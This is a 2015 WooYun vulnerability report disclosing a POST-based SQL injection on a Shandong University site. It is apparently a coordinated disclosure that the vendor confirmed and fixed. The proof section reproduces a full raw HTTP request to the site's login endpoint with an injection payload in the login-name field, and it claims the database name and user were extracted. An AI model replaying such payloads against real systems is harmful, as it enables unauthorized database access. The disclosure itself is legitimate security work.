当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0147181

漏洞标题：山东大学某站一处POST型SQL注入

相关厂商：山东大学

漏洞作者： 深度安全实验室

提交时间：2015-10-16 17:53

修复时间：2015-11-10 09:13

公开时间：2015-11-10 09:13

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-16： 细节已通知厂商并且等待厂商处理中
2015-10-16： 厂商已经确认，细节仅向厂商公开
2015-10-26： 细节向核心白帽子及相关领域专家公开
2015-11-05： 细节向普通白帽子公开
2015-11-10： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

山东大学某站一处POST型SQL注入

详细说明：

山东大学某站一处POST型SQL注入

漏洞证明：

1、山东大学某站（GSP：加拿大高等教育基础部）一处POST型SQL注入，URL：

http://gsp.sdu.edu.cn


2、POST包如下：

POST /bsuims/bsMainFrameInit.do HTTP/1.1
Content-Length: 1297
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_DJJNLSAJDQ
X-Requested-With: XMLHttpRequest
Referer: http://gsp.sdu.edu.cn
Cookie: JSESSIONID=540EB07FA2B9B3F624DFC51E644A9181
Host: gsp.sdu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_KBCNEOMLEG
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextName"
gspmsLoginPage
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextPara"
null
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextPath"
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="controlType"
frame
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="getPasswordAction"
############
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="itemName"
loginAction
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="loginAction"
######
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_autoLoginCheckbox"
1
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_strLoginName"
-1' OR 1=1* AND 000424=000424 or '83izvbDa'='
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_strPassword"
g00dPa$$w0rD
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="registration"
######
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="sectionName"
login
-------AcunetixBoundary_KBCNEOMLEG--


3、login_strLoginName参数有问题：

1.png


4、取下当前库、当前用户：

2.png


3.png

修复方案：

过滤。。。
挖个洞不容易，多给点rank吧，谢谢！

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-16 22:18

厂商回复：

已通报系统所属单位

最新状态：

2015-11-10：已修复